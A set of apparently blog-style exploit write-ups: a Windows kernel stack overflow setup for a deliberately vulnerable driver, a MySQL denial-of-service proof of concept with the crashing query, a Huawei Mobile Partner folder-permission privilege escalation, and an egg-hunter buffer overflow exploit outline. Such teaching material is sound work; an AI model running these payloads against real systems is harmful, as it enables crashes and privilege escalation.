Windows Kernel Exploitation: Stack Overflow


This post is on exploiting a stack based buffer overflow in the HackSysExtremeVulnerableDriver.
There’s lot of background theory required to understand types of Windows drivers, developing drivers, debugging drivers, etc. I will only focus on developing the exploit while explaining some internal structures briefly. I would assume you have experience with assembly, C, debugging in the userland.
This driver is a kernel driver. A driver is typically used to get our code into the kernel. An unhandled exception will cause the famous BSOD. I will be using Windows 7 32-bit for this since it doesn’t support SMEP (Supervisor Mode Execution Prevention) or SMAP (Supervisor Mode Access Prevention). In simple words, I would say that when SMEP is enabled the CPU will generate a fault whenever the ring0 tries to execute code from a page marked with the user bit. Basically, due to this being not enabled, we can map our shellcode to steal the ‘System’ token. Check the Shellcode Analysis part for the analysis. Exploiting this vulnerability on a 64-bit system is different.
You can use the OSR Driver Loader to load the driver into the system.
If you want to debug the machine itself using windbg you can use VirtualKD or LiveKD

You can add a new serial connection using VirtualBox or VMware, so you can debug the guest system via windbg. I will be using a serial connection from VMware.
For kernel data structures refer to this. I have used it mostly to refer the structures.
After you have registered the driver you should see this in ‘msinfo32’.

If you check the loaded modules in the ‘System’ process you should see our kernel driver ‘HEVD.sys’.

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MySQL DoS in the Procedure Analyse Function – CVE-2015-4870

This is a crash I found in MySQL versions up to 5.5.45. In the function procedure analyse() I found this crash while passing a sub query.



So an Example POC would be:

select * from information_schema.tables procedure analyse((select*from(select 1)x),1);
mysql> select * from information_schema.tables procedure analyse((select*from(select 1)x),1);
ERROR 2013 (HY000): Lost connection to MySQL server during query
mysql> select 1;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
ERROR 2003 (HY000): Can't connect to MySQL server on 'localhost' (10061)
Can't connect to the server


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Escalating Local Privileges Using Mobile Partner

Mobile Partner is a very popular software that ships with Huawei internet dongles. Recently I noticed the fact that the “Mobile Partner” directory and all subdirectories, files by default has full permissions granted the Users group. This means that any User in your system can plant a malicious executable and escalate privileges when the Administrator runs Mobile Partner. Why not bind the exe using msfpayload or msfvenom? 😉

 Proof of Concept

By default in my dongle I had Mobile Partner 11.302.09.00.03 and if you are using versions below you might find out that this folder and it’s contents has been granted full permissions not only to the Users group but also to Everyone which means any random user can plant anything inside this directory.

C:\Program Files (x86)>cacls "Mobile Partner"
C:\Program Files (x86)\Mobile Partner Everyone:(OI)(CI)F
                                      NT SERVICE\TrustedInstaller:(ID)F
                                      NT SERVICE\TrustedInstaller:(CI)(IO)(ID)F

                                      NT AUTHORITY\SYSTEM:(ID)F
                                      NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F
                                      CREATOR OWNER:(OI)(CI)(IO)(ID)F
                                      APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(IO)(ID)(special access:)



C:\Program Files>cd "Mobile Partner"

C:\Program Files (x86)\Mobile Partner>cacls "Mobile Partner.exe"
C:\Program Files (x86)\Mobile Partner\Mobile Partner.exe Everyone:F
                                                         NT AUTHORITY\SYSTEM:(ID)F
                                                         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(ID)R

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Egg Hunting Fun

In this vacation I thought of learning to use egg hunters in exploit development. This is just a small write up just after successful exploitation of my meterpreter reverse_tcp shellcode. This is the original exploit which was published in 2010 I wanted to implement a egg hunter code to search our shellcode with our tag throughout the heap, stack, etc. Egg hunters are used when we have a limited buffer space.

Download the vulnerable Kalbri server:

I assume you have a good knowledge on developing stack based buffer overflow exploits, about registers, little-endianness,etc which is the very basics.

I developed this exploit under Windows XP SP2 using the USER32.dll which is a operating system dll to find a jump to esp (JMP ESP) command. This application doesn’t use any dlls so this is a platform dependent exploit.

As I mentioned earlier this is very brief  write up.  The offset is at 515 bytes . Our plan is to overwrite the EIP register with our JMP ESP address and we want jump back 60 bytes backwards to the starting point of our hunter so that it would be executed. Then it would search everywhere inside the memory to find the tag and execute our shellcode. Opcode for jmp is EB and 60 bytes back means -60 is C4 so the shellcode would be \xeb\xc4.

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